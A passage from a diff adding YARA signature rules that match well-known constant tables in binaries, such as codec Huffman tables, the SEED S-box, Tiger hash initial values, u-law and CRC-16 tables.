60a181099ea8854494a079706857b6e3825f4ad77c564e9a765eb2ae860200562c0afc62d203f82fd80b041b2453b64fce5b4a7b30524e363a5ab202ca0600fa600efcce9e07f883940f04b768f8cb2482f037107cf9335d76f1cf6986ad7d912ca581a5d2ac85e8d8a479dc2b431acf014be6fbff42e2b6f54a1e820516ac7aaf1e504e511754035b1fa837a7e867a44de09b90b3e99fddb9e163e949bdd111e3b52d251dbc296817b4d55cea72ef4e507a137aae731737a47beb03542759fbfe2fa5cf0026a1820a2e5db6f6d992251cd16e11e2d86a5ce8d09668188c2490b284d8a44c8ddce9468520ddb56243ce9f6abffa6163bbb76b6b47839b37f57b313f094fcf360d02c53ef13639c93ea5d3c1c2912dc8c6dc27c03ae8d79c88107d947424839d706989958c5d7811044cf219f8780c10fc3506180001f644b2f95c4c4ecda2454a80a84db6b454ba7927beb2851340bb815e4ab37d6abaefcf9210e733a6eeee37ebe4e6cbdf1701a8cc3d0954f8c30050b5c908ac8139541e79935ce24d6d55e600675d1a349baad5a771a229938fab2dde85a3d1ea75ff6312dff79f2621fe9b6b2bf6675fd6305d4d6c38a1799231a534983959006865ebf8c26d17cc3c641381366cefb5ca9b20262093dc12de9ad85fd492246b24ce96938ec66aa770cf6eea7ac792de8920f1cda3280df95d2109b45729f580a77547780d7dbb4cf374bf01f97c4335058b8ca6ef837092118a74df1b8288ebebde3a1341d6c627bfdfc26ab5d73e5e4cd6c249a6de3e7d58d73a3052dfc604a28374fc088b88c8f6828c85fc8a70b1007dbf22ea754316147c475b1e74bb6fee2809974420f5a3ba29f1eeb0210dda43c66ec969ce92fd97c796b09dcf6a846d93d87cc79b244839922005339adc31cf6d13a22565ef96db6cebdbd16417ef2138a5178b30592375395d6e7f31a15a82f79b4838ff677cc6f66331ccfe9f053ca22dfd96aad1c968a3d58462ab29b09e5ce62374541a178a5d1e5a8055e26e70095096da01aca22408a8ef2e0054dbdde737c8f7efcbfc09e6cfb103ee3385f3b2817d59ba7d49a7b37904adbb8530514c4aa3bb44b697454db2da4f454eeebf19fc1615110022eb18046fe110f85b1094704a9a9c8c7e649588336e9d74079ec1c6ff34c93acbcac03e86c0c8c2b23c3f0d21d637f115283ef5582236096cd26abb94786247a0866b43ed8c63bfd97f84dcca558c20feab8524b3a18dd88751d16a7ffbd9964b05d092060fd86e32f32fa1a119275d95e72e59d8ed26a5ec1d7a1714b772eb20497bef6d43731359beb5294b04bdd57ffab4d132f0bc2d0600e09ffeaae863ca54e167875ee99bb3a21e54204816a814b61fac59bc17506d4c4be295e6431ea1184a1aec1242e6d8e1a585cbcbad79ff35a47db23fac8186cff0337e65f8cf4a9bf1cb0791f937336d0ef8a087060494790f00d97307fced835b4e152953b221d75ab66cdd524a5825594e430f51b277f158b63afb504a0e0b0cf8f6a10404c25f0d008f5505fcbba9f2332843facf1cbdf3cb51b7fb376547a7859dedaf79a913a67de419ae81d0ea49e2c3c0411ef73e481aba3440e68ec41c54766e14a842901dac0f9a15503b66e29fa88cea639c72e367d178eb9be588b7291d22bfd529dcb6d164d6be2d502b7817429170eb766f79ef3b6571130f952da1f73f255dc3c12c598ecb24a5ba37d36a29dddb961d23d2925029da6e64d986dc9c738e20a88d8724e5878fd8d17468bbc25e6047f6a06943bbaa61bf8f5a3d0d77f035f1430e3cf50e0434093af8c3c6a912cb3a9decc23ed0e6cac2e41696701cbc9e8c2842978865489f7451b91bfc4033130074cd1a0439c712f80d374e4af59d46b6c1634fb28c69474eb895b0812b7fb87d1f81b179528bb985667be5379ed1edcbaa2fe4cfe725ec33d3d60b50c0fc03acf4020aa8b90802548df85ee67552561a41ac5f1e0ca657e2385aa02dabb0a8d19f4ea1d5d244a929e6b4f59b1e1efd672ae0f46367eafc9f53173aa541ad325975533b5d385933a10ca96f13f40367efc0fd6eeb8df76617b90b91d82ae199241e1f9020531598dc67e5c46e9f4fcc92abb1c596e6bbcd6ad2482a09c16222f5f59c2bf1b896230d8c667fbf74cc774340327e470d3876bb39c48174aa2e89889ed0808cd3da8870e72ad4c21f80dc3e2b7ed53a6674ddc6528ddc3a4567d4c67199ddc23c93d53e0863898cf0c98170c4378874893d8088bdc177472e2b7fbb1ad576bf57df7e43632f22f19b852a0daf7b2309e2712bf5d682cc96c5a8c46af156cd6ebc5cc59288ac9920700691dc44f898d809f290243d0e67ebaee46f179a1a6613d7106eefe3e0325d1b4a3aa12fb433a562be3b595643fd6344f9f59f7007fc9b3d0df46709fda8d5f157a029c5a9a92d88a3a1d1bc5f561e2fb55ee21b4b57e656415f1a62b103a89a1b0b54aee50250e3ef0aacd71cedcfc436e533f0c8ec37bdc2e4cb8932b8797198b0854566b981086cb17d3c9046b2af7a4e4e9b84474ad68e4fb6e27e13041ad41bf82e2a12fc63201a0057d19e88465b967472a59f703faf978c0b5fcb3ef3f5c3c2c70bcac68a01c23abefd35f52d173d0919e9340d54e33cf16013604398b968bfac4761bbe14d6947d5be8e24c69486d8f26a8fdcbf6087208b90db92733ad36e47c4da6a0aced2963e322559add82da5992624a1d42c2c5de0dc70ef187678132c887117618279eb557fbfd147c5b72d733bbe293e31b6d50ac1ea67f26be29bc695eb9f8b9fe363bf6314ac2c891c5018771554557d1da8618d411a992749e6add940e2e0d3481ed420af7dc70aa781f3f4ae85befea6798a0efacb72a4f237465afb330b50f3cf3fac0400ac460cfc98b805f8d5b20d04e14251b619e8594a2d16504e601c58b254eef13ad9d4f9c6ed2af0c2a020f83e94d0a48c6c7aac705884a574158ead8821725a47b29852bb86665bbfcb6c5343ff9c0ff10736070d33c80e097ec206f54a31e196591be96a6de5e06e20efe892141fb420ecb5bcdcd84bb5d89541bd24a1bd4aeb3257421706a94b134ba343ef7f531f5d87f917a1b3071ea5fe0d1659caf0d063d84ad89fecb4d19ba1bed967954e85d56de48d29591a842d14108cd120ec7b1eb30673e287f87ae6caf2721afe022ea806a8265432562f507f5c27ac4bafc0cf5885c8336c7bc1372171c9cb15819579ed2b9d85d9d5948194df9c7da0236bb233c9634e07376a4a4a3d62b67ecd3e04866736f8b2993ffcff933700cb62b388dae8bb74ee16b270a31cba8c97ece63e6f46eec25bb8e7c616b2ef3a224e18f5b1a41009855a190dc85011f1fca04d43040a45bf30f44cbb7dfe4447490da3245a27abd86ed9a2dc23d3aa201723f692ef89fe6edb77f76a967dff96a2810859316b00a5059509a1489f015d7c6f5def84c55513b03b5c17fd3154ebc9cc92d1db769a2def889329a2829bd59672c7676ed8cf9b5a26c69f172cce6323d039acb03a315084c43854c9ce30a8fd3e6c1a059464e6316a6de27c60651e4893827d5bb98a816f478385224d8b7916bdd7cbee17df37dae9d63397e3decfa31f290030f521fc040b28f8490120047df17cb6855b744ab1a57d4efcaf75b2c856744edfbc7cb2eb4275b6a6487d4a92b821f86a1229045eec200013e628fc271adf33b4f0d7cf800edecbcd04d637f9f48a85015e827935a08b7d78aa83814c5964e25f736c1e6b8d651a26876de612773154eadd39a8de2330ac93293850a7d5cf9f343fc76300c1ce674dcbc69b793b9a29819192d5b56f9bd1f865932dcc985517de225debeadc54efa7d65c13932600a16b8c085d5f720159127809a52684fe6ab56ef6968190ff92cc9af76ef86aabdc00c0a320343eaa247934a2d84dc745bb5eed4d476a13444327194cbf13e9100deb4318f1dfbd11f592b71909a64beec635a1e63a015fef3e4c55e7c278a5bb70800fb38cb4f1ba88f9fbb274cd0a36fcdc803e00e87e3704a5743ff89184634a692e6bb65dd062b210da6a4e24269d81b7cc957d83329c79ce389485fac8c8370262c0cb369cc9cf7b96c1334f6526505c4f2eac68b127a825bb2f54114b73e6e9e17b1add1f721e90157ae2a4e98d2d370385d103fd8cd54ef784297a07d89b82add067b653d963fb59d19fcfa417a5dd1e1f59e9e0165da4ea1ea1901a421368b04aef5c4e43eb11444b1725b8bcd8b652b42482acbd20cfa6b5dcfb56e96e03fce1923702e8967a08e06a4efb07095dd10ff5692f06f124250e0d10d552bfe87f5a43dc815347918b5bbba577ac74369da4880263ad8c4f69a5707b99f9c28333f13eb7cdf83afac7f0c6ce3ffbc2d515f33ee1ebfa3aace1f2c69811ae7460bba6885445af8c194fa7702db350bfbe5958438aa75147c7ad59bbf35d05090bf70df53f0904f172030c0d46f0eb6e55dae3926124ea962c2ee26a18debed8e074b624d48abf209980b7dcad7c40133e9648ef0a6841eb47624917739215a58b381d59bfc6145df2cc1ca1c631da9bd48bd267e075db63ad7fd39f998f8f2d612587d155db8ed518d186292c2d71e6bfc7791a8b39701ec63378e2f2c324500a692cac3e9725a8739d2d54476eca375444c2cb60bacbcf2db0c33319409f81e1ea977dd5149e79981e9685ace2614a3f0869b60bf660b246fc684e720c34fc8aa63c00be583504f3523df8c7a3b970d629b18ce2d7b888afddb0749b2decc66387e43a5779ed3e1a73e5c22e8f120dbd651af1899b13f5c4911b09f06147bb08cb4f473c354643713f4ebf45cca9dc56e6a1206218a8242f12a0d81be2fc6ae348f496d7b6fd929abcf56eae4002a13daa0a5d09540359445e0ba570ae571788045febbcfa56eff1f05e13c50d9829d7b790d5e34999d1ae43912d9ab3cd9f6219c56356e7cc671bedc49b2f113354bcfb3ba8880532acc50f3a50f1ff66e209556e1e3dab671a70a16fe644528885577880796386897d2e8c81811a7cdd33e2d6d5cfd628dccb9b22d437afde23f83c342b0408ca220045c02afc7130764e899a7eb2bd6477b6f06e7f4ac4977eb6d37d764ae7837f4eaa8977b29e792b0066d323fc522d2af81f2722042bdbd5cbb831dd378ccfd433c1c5dccff535807d0d9f888139618185746b897940986e1a53b266e6674c6fe22a46671e1eb63bace61c3350d2e23a549fe832a8ab14c56738fecd9b0c00c49f410acc6375fa90d18d50982db9ae9129f4a499d5c0595fefd2e35713e61d5e17ab1756eb9fe70a59674d02a553b30ba11eb9035d2a45f492b9affc6e8d51f56ac05bfd96f4aba1240c01a9d838ffa0dc75f5a82041064f43522c47bf66d24ebb2bd846471f281af5e7821209d37c1b0d9e7613f1aa8ae43e3960ecc20d9ee5c64094ed3a7464b1888cceb974b830b070f53ab88cc1cb3c04d04134f8e4bf3dfca9b535009d4569b265ef614e5111684a1c1b60b628e79779bb0d9f858ff39681c2f99e7df609c2cf0ea3ca333a5dc3377757cbcb43a42ca8508e245464702d50297a25ac1d8a791ee52071e2d1de78e69cd4701aa82887d53bc28f290f3c862d42368ed176c6d2638e6cda9fba92d39bf798db67c3651d5dd1df15a1e5211ca5a82b14599cdb48eb64714017508f49131d8541ef2979b620ba93bedc8e6db7d8c367bf24f797e3960f3deb6a3bc3e26e76c9ea92423a0df15110050d65ee0c0928e404f51c145847e4be50bbd04059bf9d4a5143a9b6a68c3a5cae700ea2a77443a8af887758f33a8ff2fbc6bb0cf2c2f606fa3ec2faa28c9610aa70a2eea374efe4ab88db14f73a23beffc61740f6c25a4afe3e6eb609f1fd5c010dc9a2080984a800f5b0585c4748f254bb7c0c5dbf3106554305f5b22016dfbadc2221b3d86f2bbb245bdbe796a371ef6a978fe66eda85ee92ee79195d7d9311a1496d18a50467105930974cebc83d4417fcc34d13b1c945ef853483d5978e8b29a370822dee7a8ad1da8ad6632220de9f16ded79b5bd4df676f2828a8fcc22054c83c2950853621acb1c67d1e496c75e27d927ce63098741a046b937917419b8523bf92816eb59a7d5a45c6cfa2efce339611c737db1bcfcbefe738047c0d30f848f339fc05f9310031096db2c9a3654efd5d6c4ab05764b684a6e03e952ce8c2a1d2e1c6ecd8e93ad828b5882082bd74147cb4705976bc8c6d8a4b43fe6043bfca9e4abb87944247b3641ef54bce16097f301f0d323a17f106c9f09215e3f86e211df16a6c17f99658e7a524a04dadd894b3a4dcd9b9ac20ed455bef7eaf53134a515a17075b52eb33ab0e59cb0106a5ffff0fa1b2f5075d8608c16794b2c99ba04cc09fed46c863d9b694d1211c9c2d15e2952958e89dd56c146a1afffe62e6cb006be2860a631eb2fa3fac4a5037507eae3e5433a436a80757d1cb147dd9372083d0336d89d8cf5979847da1d38c81952d8585d8278d79ecdb7ab67f31724a4bcf7b4e06c573b232352f00ca9f27fcfe612ef8b36b2604879227f890782f04a4862600e98c2efcdd7c724e25d67ab2112873b65c227b4a68de8c85fb348479cfca8d7d82c08581b630d9334e9ad1cf7a64d8cb376ed037039d375410b73fa8244936ac69433e505db362e2a5196a1e91e7631adced6be6e8119c297bfb94d54f059dd1020f952d36ffc99fce55c163faabc867b7a1c09b835c06a191e60e5da5180759e8120fa5dce2531724485beb10b652ef5dbc5a136940addcfaaaa520ce54ac24835ea4d8b7aef86a4f04f0967bfaf99236f0f16e0203160d11291ef125d717f568dd1f095c2d43bba4874b4790794243dd734abfe98fbd707a65b58c4e9bbc880391b4743761e8c6cfcbe03afb35e93eb63fe1c282ce654a93446db6a7ba64b2eab06c4ede4030fc26ea3800121431045f1e39f86be2ce37f808c6cbccf6cfcf81fcc733b50c9b814da6937d79589a793452928500a175e6138b7d1a2775741e6a7f7ce25e8f2050a62528ac92db21a8dfd12954eb2dde9b78c7d6674c39df630133d79f35c38b2dcd6983d1f9978ad5b49d82298060441392da4cefa62445ebeb2e4d17dfde11a527741959138a105d5e8018a16a7cef6ef996e792cd68ee968062e66ab492bad84c38b22478c6bb2035ccb3dc013f54bf12155c4326eb55476be15dbb5f110109a7bb09f5934500f1de4f080deab3ffc27959f73e4da7fe3a00adf6c6345daa74ccf7a288f809ab8cb503a37081fba8749ad1a088ae2fa98ce325a170d7d5fdc22f7ff53e1b81fc3a568bf4c662770309f19d0bf5c56302f188690a0dbc9956bf44335e4370cd57473dc75fbb0934b8d81a1eb0242ee0b92063eab1dc571aed6eafb0e5929b4eec96d644e46ae2b813a571521b5945ac125d08a61aa13c564613c4fc4eeff00247ebbd084f1789f5892d9b4f81d1afb188d5e2bb8029d64bdc9b2ee1d4671a1fdd635715d59f63e92250f0032aacc4fd23a889f72b54bd0777e645ad7f1a7153761e3c597ee208aa99811b80917d2f7e9879627490855684cc37ae2ec4cb9ad0cdcfd7dac533e32632fc70cc3a004432330409383bf83dc8674ac5626fb6f19c66b2bc966e4e8867eac699ede23aad13eb3ee019e3c2d4e9bf702c43b78c18bdbe8855b7b674614b41bbf2a14947c65f40438b5548bfbfa5140d470f1cf173f115f53efb1d090a08fa6a1922f2962ddcfb9260d6f36e5426afdcac8ca7209872ae24d578a6d8e1845117726e59eb469050ef0b9a58133f6a04a1c7c00c5df33e0559be340da58ac9cb9f9873c363ac8dca67e187c29bd5779e292ddd96d519239fd15429972d60d560e2f33f681ec7c1611a8acb69e6be3b355446913da8726f34ac3f653c500b96db3318bcd3cf2c42dacb6148d23755b88e85ad12867999ec8f7dd4e68781e01a704e73f078b2470e71b60a04794a3ef425f8c65e2d04f2a02400bfaa2cfc8b532d009cb925fca8472cf8e54d2404d1bd78b62917704a1de9794e50e371b2641f867df7f58e81c30b87858e018f79baf1d3cb425bdb3776a5d2333bafdacf0f5c3dac1c76355028883c54658234a85172681aa9d860e69d2669e2d02c611ee4d096d1773a9e2d43c497290ece9fd53a3ec367c294cb9bf66ac29fbb60ca638f9d0c599d2704a5a9d90da1e4d3055dd02359ef288951131c775817517d50eb6581a724f66bafd8c295a6dc8f9fae20bb6ff29243c5fa6e773bf36a3a31fb960ec21cf51de8140929161d0d641c15f150ec4943a84641bf9cb848bbd1b24047e54eb78876a4bf74425ab6700f50be8c3ba0e23ec30aeac2f7f4e3c6bafeeb3a8e0f6fb29f85674eab7b6e4ae67166b6d2813a042a2b32f81ed53bfc53df33006723c4cff4c9cc33c037c5378d3dcdcbb9cd917941679985759990813893987d0c607f1e1f4a77e22bb47ee666be761a524e2aa8aae422549e1a2b50d31023ace7ecd4637406dc9f40f8d59b0df2dd67390281d5c1a88929f556802db85c88d18ca14eeb9e1b4617aae54f13e7ef47efd31f1b5d2bb513a11f4b1aa55241125966bde596f557ed6ac1a9e46e8ca3ec92b853b02040f9b8dc7407b1d8390db9240dfe5e471ed456bb2a2a5fbf6720574353d00bf1ab7a030d9f840a09d28e02f5e672f53a7598fdc64166f4c20c6cfc3e389ca08cc036a870f4c8a174b9c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_562__16_big_128_
+{
+strings:
+	$a0 = { 00020006fffefffa0004000cfffcfff400060012fffaffee000a001efff6ffe200100030fff0ffd00019004bffe7ffb500280078ffd8ff88004000c0ffc0ff400065012fff9bfed100a101e3ff5ffe1d01000300ff00fd00019604c2fe6afb3e0285078ffd7bf87104000c00fc00f4000659130bf9a7ecf50a141e3cf5ece1c4 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes1__16_big_194_
+{
+strings:
+	$a0 = { 0000000800140030006a00e200e301e403ec03ed000900150031006b006c00e400e501e501e607f0001600170032006d00e600e701e701e803ee07f100330034006e00e800e901e901ea03ef07f20ff6006f007000ea00eb01eb01ec03f007f307f41ffa00ec00ed00ee01ed01ee03f103f207f50ff73ffa00ef00f000f101ef03f307f607f70ff81ffb7ffe01f001f101f203f407f80ff90ffa3ffb3ffc000001f301f401f503f507f90ffb3ffdfffe0000000003f603f707fa0ffc1ffc3ffeffff }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d46bc__8_byt_53_
+{
+strings:
+	$a0 = { eba539bb843097a4db19d6bbaa2bdd64b547f190a8f9a5c27951de59dbf82eaa166c7614dabafb9e20c9646795d5efe915e43d9daf }
+
+condition:
+	$a0
+}
+
+	
+rule ascii_to_ebcdic_table__32_big_1024_
+{
+strings:
+	$a0 = { 00000000000000010000000200000003000000370000002d0000002e0000002f0000001600000005000000150000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000003c0000003d000000320000002600000018000000190000003f000000270000001c0000001d0000001e0000001f000000400000005a0000007f0000007b0000005b0000006c000000500000007d0000004d0000005d0000005c0000004e0000006b000000600000004b00000061000000f0000000f1000000f2000000f3000000f4000000f5000000f6000000f7000000f8000000f90000007a0000005e0000004c0000007e0000006e0000006f0000007c000000c1000000c2000000c3000000c4000000c5000000c6000000c7000000c8000000c9000000d1000000d2000000d3000000d4000000d5000000d6000000d7000000d8000000d9000000e2000000e3000000e4000000e5000000e6000000e7000000e8000000e9000000bb000000bc000000bd0000006a0000006d0000004a000000810000008200000083000000840000008500000086000000870000008800000089000000910000009200000093000000940000009500000096000000970000009800000099000000a2000000a3000000a4000000a5000000a6000000a7000000a8000000a9000000fb0000004f000000fd000000ff00000007000000200000002100000022000000230000002400000004000000060000000800000028000000290000002a0000002b0000002c000000090000000a00000014000000300000003100000025000000330000003400000035000000360000001700000038000000390000003a0000003b0000001a0000001b0000003e0000005f00000041000000aa000000b0000000b10000009f000000b2000000d0000000b500000079000000b40000009a0000008a000000ba000000ca000000af000000a1000000900000008f000000ea000000fa000000be000000a0000000b6000000b30000009d000000da0000009b0000008b000000b7000000b8000000b9000000ab0000006400000065000000620000006600000063000000670000009e000000680000007400000071000000720000007300000078000000750000007600000077000000ac00000069000000ed000000ee000000eb000000ef000000ec000000bf00000080000000e0000000fe000000dd000000fc000000ad000000ae000000590000004400000045000000420000004600000043000000470000009c0000004800000054000000510000005200000053000000580000005500000056000000570000008c00000049000000cd000000ce000000cb000000cf000000cc000000e100000070000000c0000000de000000db000000dc0000008d0000008e000000df }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab13__16_lil_1022_
+{
+strings:
+	$a0 = { 03FE09FE25FE6BFEB3FEF7FE33FF67FF8DFFADFFCBFFDDFFEBFFF3FFF7FFF9FFFBFFFDFFFFFFFE00FC00FD00ED00FF00FFFFEF00DF00FDFFFFFFEE00CF00FFFFDE00BF00F7FFFDFFFFFFFB00CE00FFFFDC00FFFFAF00E900FFFFEC00DD00F7FFFBFFFDFFFFFFFA00CD00BE00FFFFEB009F00FDFFFFFFF900EA00FFFFBD00DB00EFFFF7FFFDFFFFFF8F00F800FFFFCC00FFFFAE009E00FBFFFFFF8E00FFFF7F007E00F700FBFFFFFFDA00FFFFAD00BC00FDFFFFFFCB00F6006F00F1FFF9FFFDFFFFFFE8005F00FFFF9D00D900FDFFFFFFF500E700FFFFAC00BB00F7FFFDFFFFFF4F00F400FDFFFFFFCA00E600F300FFFF3F00FFFF8D00D800EBFFF7FFFDFFFFFF2F00F200FDFFFFFF6E009C000F00FBFFFDFFFFFFC9005E00AB00FDFFFFFF7D00D7004E00F5FFFBFFFDFFFFFFC800D6003E00FFFFB900FFFF9B00AA00FFFF1F00F100E9FFF3FFFBFFFFFFF000FFFFBA00E500FDFFFFFFE4008C00FFFF6D00E300FBFFFFFFE200FFFF2E000E00FFFF1E00E100F1FFF9FFFDFFFFFFE0005D00FFFFD5007C00FDFFFFFFC7004D00FFFF8B00B800F9FFFDFFFFFFD4009A00FFFFA9006C00FFFFC6003D00DBFFEBFFF7FFFBFFFDFFFFFFD3007B002D00FFFFD2001D00FBFFFFFFB700FFFF5C00C500FDFFFFFF99007A00C300F9FFFBFFFDFFFFFFA70097004B00D100FDFFFFFF0D00D000FFFF8A00A800F5FFF9FFFDFFFFFF4C00C400FFFF6B00B600FFFF3C002C00FDFFFFFFC2005B00FDFFFFFFB50089001C00D5FFE9FFF5FFFBFFFFFFC100FFFF98000C00FFFFC000FFFFB4006A00FBFFFDFFFFFFA60079003B00FFFFB300FFFF88005A00F5FFFBFFFFFF2B00FFFFA5006900FFFFA400FFFF78008700FBFFFFFF9400FFFF77007600B200F5FFFDFFFFFF1B00B100FDFFFFFF0B00B000FFFF96004A00F9FFFDFFFFFF3A00A300FFFF59009500FFFF2A00A200D1FFE9FFF7FFFDFFFFFF1A00A100FDFFFFFF0A006800A000FBFFFDFFFFFF860049009300FDFFFFFF39005800FFFF85006700F7FFFDFFFFFF29009200FDFFFFFF570075003800FBFFFFFF8300FFFF66004700FDFFFFFF74005600FFFF65007300F5FFFDFFFFFF19009100FDFFFFFF09009000FFFF48008400F9FFFBFFFFFF7200FFFF460064002800FFFF82001800D7FFE5FFF5FFFBFFFDFFFFFF370027001700FFFF7100FFFF55000700F9FFFDFFFFFF70003600FFFF63004500FDFFFFFF54002600FFFF62003500FBFFFFFF8100FFFF08008000FDFFFFFF16006100FFFF06006000F3FFF7FFFBFFFDFFFFFF530044002500FFFF52000500FFFF15005100F9FFFDFFFFFF34004300FFFF50002400FDFFFFFF420033001400EDFFF5FFFBFFFFFF4100FFFF04004000FDFFFFFF230032001300FDFFFFFF31000300FFFF30002200FDFFFFFF12002100FFFF02002000FDFFFFFF1100010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS3__32_lil_1024_
+{
+strings:
+	$a0 = { 3838300828e8e0c82d2c210d26a4a2860fccc3cf1edcd2ce33b0b38338b8b0882faca38f206060401554514507c4c3c7044440442f6c634f2b68634b1b58534b03c0c3c3226062423330330335b4b1852928210920a0a08022e0e2c227a4a38713d0d3c31190918111101101060402061c1c100c3cbcb08c363432060b48434b2fece3cf088880882c6c604c28a8a0881714130704c4c0c41614120634f4f0c402c0c2c20544414521e0e1c116d4d2c63f3c330f3d3c310d0e8c828e18989088282820080e4c424e36f4f2c63e3c320e25a4a18539f8f1c90d0c010d1fdcd3cf18d8d0c82b28230b266462463a78724a272423072f2c230f31f0f1c1327072420240424214d4d0c40140414100c0c0c033707343276463472caca08c0b88838b37f4f3c72daca18d008080801f1c130f0ac8c2ca2c2c200c2aa8a28a3434300412d0d2c20b08030b2eece2ce29e8e1c91d5c514d149490841818100838f8f0c8175453472eaca28e0808000805c4c1c5131013030dccc1cd0684828639b8b1893ffcf3cf3d7c714d01c0c1c13130310135f4f1c50a88828a2a68624a31b0b18111d0d1c12020200017d4d3c70200020222202202040400042868604831707141070403071bd8d3cb1d9c918d19989189216061413ebcb28e26e4e2c6195851491ddcd1cd11505141109090801cdcd0cc1a98928a23a0a3832ba8a38b10d0d0c0018081810f0c030f074443471a18120a23e0e3c32cece0cc0d8c818d3fbcb38f169492863b78734b1c5c504c22a0a28221a0a18123606343232023030d4c414d08c8c0c81e9c928e1c9c908c3a38320a0c0c000c2e2c220e3ab8b28a2e6c624e1f9c938f1a58524a32f0f2c21290928233f0f3c309484149387870480cccc0cc151411053bf8f3cb30707040357471453f7c734f353431051010100003000303246460442d6c614d06c4c2c63474704415d4d1c534b4b0842ae8e2ca0908010936747246191811093efcf2ce004040401210120220e0e0c03dbcb18d050401053af8f2ca0100010130f0f0c02a28220a1e5c524e29a8a18916545246034043430584818514141004098881891b98938b30b0b08025e4e1c50848404839787149179493873cfcf0cc1e1c120e02808282212021010c8c808c1b18130b1f5c534f377473471454504432b0b2821d1c110d252421050f4c434f00000000064442462dece1cd18585048125052422be8e3cb3e7c724e1ad8d2ca09c8c1c93dfcf1cd3030300015949185256461453c3c300c36b4b28624e4e0c43bb8b38b3c7c704c0e0c020e105050403938310926242206323032020484808429686149139093833734330727e4e3c72424200424a4a0840bc8c3cb135053430a08020a0784838719d8d1c90c4c404c038083830f8c838f0eccc2ce3b38330b0a48424a37b4b387 }
+
+condition:
+	$a0
+}
+
+	
+rule ulaw_table__32_big_1024_
+{
+strings:
+	$a0 = { FFFF8284FFFF8684FFFF8A84FFFF8E84FFFF9284FFFF9684FFFF9A84FFFF9E84FFFFA284FFFFA684FFFFAA84FFFFAE84FFFFB284FFFFB684FFFFBA84FFFFBE84FFFFC184FFFFC384FFFFC584FFFFC784FFFFC984FFFFCB84FFFFCD84FFFFCF84FFFFD184FFFFD384FFFFD584FFFFD784FFFFD984FFFFDB84FFFFDD84FFFFDF84FFFFE104FFFFE204FFFFE304FFFFE404FFFFE504FFFFE604FFFFE704FFFFE804FFFFE904FFFFEA04FFFFEB04FFFFEC04FFFFED04FFFFEE04FFFFEF04FFFFF004FFFFF0C4FFFFF144FFFFF1C4FFFFF244FFFFF2C4FFFFF344FFFFF3C4FFFFF444FFFFF4C4FFFFF544FFFFF5C4FFFFF644FFFFF6C4FFFFF744FFFFF7C4FFFFF844FFFFF8A4FFFFF8E4FFFFF924FFFFF964FFFFF9A4FFFFF9E4FFFFFA24FFFFFA64FFFFFAA4FFFFFAE4FFFFFB24FFFFFB64FFFFFBA4FFFFFBE4FFFFFC24FFFFFC64FFFFFC94FFFFFCB4FFFFFCD4FFFFFCF4FFFFFD14FFFFFD34FFFFFD54FFFFFD74FFFFFD94FFFFFDB4FFFFFDD4FFFFFDF4FFFFFE14FFFFFE34FFFFFE54FFFFFE74FFFFFE8CFFFFFE9CFFFFFEACFFFFFEBCFFFFFECCFFFFFEDCFFFFFEECFFFFFEFCFFFFFF0CFFFFFF1CFFFFFF2CFFFFFF3CFFFFFF4CFFFFFF5CFFFFFF6CFFFFFF7CFFFFFF88FFFFFF90FFFFFF98FFFFFFA0FFFFFFA8FFFFFFB0FFFFFFB8FFFFFFC0FFFFFFC8FFFFFFD0FFFFFFD8FFFFFFE0FFFFFFE8FFFFFFF0FFFFFFF80000000000007D7C0000797C0000757C0000717C00006D7C0000697C0000657C0000617C00005D7C0000597C0000557C0000517C00004D7C0000497C0000457C0000417C00003E7C00003C7C00003A7C0000387C0000367C0000347C0000327C0000307C00002E7C00002C7C00002A7C0000287C0000267C0000247C0000227C0000207C00001EFC00001DFC00001CFC00001BFC00001AFC000019FC000018FC000017FC000016FC000015FC000014FC000013FC000012FC000011FC000010FC00000FFC00000F3C00000EBC00000E3C00000DBC00000D3C00000CBC00000C3C00000BBC00000B3C00000ABC00000A3C000009BC0000093C000008BC0000083C000007BC0000075C0000071C000006DC0000069C0000065C0000061C000005DC0000059C0000055C0000051C000004DC0000049C0000045C0000041C000003DC0000039C0000036C0000034C0000032C0000030C000002EC000002CC000002AC0000028C0000026C0000024C0000022C0000020C000001EC000001CC000001AC0000018C0000017400000164000001540000014400000134000001240000011400000104000000F4000000E4000000D4000000C4000000B4000000A4000000940000008400000078000000700000006800000060000000580000005000000048000000400000003800000030000000280000002000000018000000100000000800000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Tiger_crypto_algorithm_init__64_big_AND_
+{
+strings:
+	$a0 = { 0123456789abcdef[0-20]fedcba9876543210[0-20]f096a5b4c3b2e187 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x4003__16_big_refl_False_
+{
+strings:
+	$a0 = { 000040038006c005400f000cc009800a801ec01d0018401bc011801240170014403f003cc039803a003040338036c035c021802240270024802ec02d0028402b807ec07d0078407bc071807240770074006040638066c065406f006cc069806ac041804240470044804ec04d0048404b405f005cc059805a005040538056c05540ff00fcc0f980fa00f040f380f6c0f5c0e180e240e700e480eec0ed00e840eb00c040c380c6c0c540cf00ccc0c980ca80dec0dd00d840dbc0d180d240d700d4c081808240870084808ec08d0088408b409f009cc099809a009040938096c09580bec0bd00b840bbc0b180b240b700b400a040a380a6c0a540af00acc0a980aa81fec1fd01f841fbc1f181f241f701f401e041e381e6c1e541ef01ecc1e981eac1c181c241c701c481cec1cd01c841cb41df01dcc1d981da01d041d381d6c1d5018041838186c185418f018cc189818a819ec19d0198419bc19181924197019441bf01bcc1b981ba01b041b381b6c1b5c1a181a241a701a481aec1ad01a841abc101810241070104810ec10d0108410b411f011cc119811a011041138116c115813ec13d0138413bc131813241370134012041238126c125412f012cc129812a417f017cc179817a017041738176c175c161816241670164816ec16d0168416b014041438146c145414f014cc149814a815ec15d0158415bc151815241570154 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab12__16_big_254_
+{
+strings:
